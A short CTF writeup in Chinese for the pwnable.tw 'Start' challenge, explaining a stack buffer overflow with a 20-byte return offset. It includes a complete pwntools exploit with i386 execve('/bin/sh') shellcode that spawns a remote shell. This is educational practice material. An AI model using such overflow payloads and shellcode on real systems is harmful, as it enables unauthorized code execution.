Skip to content
Suzu

Pwnable.tw Start Writeup

分析

Start 題的 disassembly,標註 stack 上 saved esp、return address 與字串的位置

會先 push 1 個 saved esp + 1 個 ret addr 上去

後面 push 5 個 String,所以 ret offset 固定是 20 bytes

所以總共 push 7 次 -> 28 bytes

思路

我們主要要做的就是把 shellcode 填上去

然後把 shellcode address 推上去(藍色標起來的 x-4)

這樣就完成了

# Reference: jwang-a-exp.py

from pwn import *

context.arch = 'i386'
context.log_level = 'debug'

p = remote("chall.pwnable.tw", 10000)

#/bin/sh
#2F 62 69 6E 2F 73 68 00

sc = asm("""
         xor ecx, ecx
         xor edx, edx
         xor esi, esi
         push 0x0068732F
         push 0x6E69622F
         mov ebx, esp
         mov al, 0xb
         int 0x80
         """)

p1 = b"\x90" * 20 + p32(0x8048060) + sc
p2 = b"\x90" * 20 + p32(0x8048066)

p.sendafter(b":", p1)
p.sendafter(b":", p2)
p.sendafter(b":", "\n")
p.interactive()

pwndbg 中各次執行後 stack pointer 指向位置的顏色標註

地址的顏色標註為每次執行完的 stack pointer 指向的地方

會影響到 sp 的有

  • push: -4
  • ret: +4
  • int 0x80: 會暫時 -12 (不影響這一題)

References

Share this page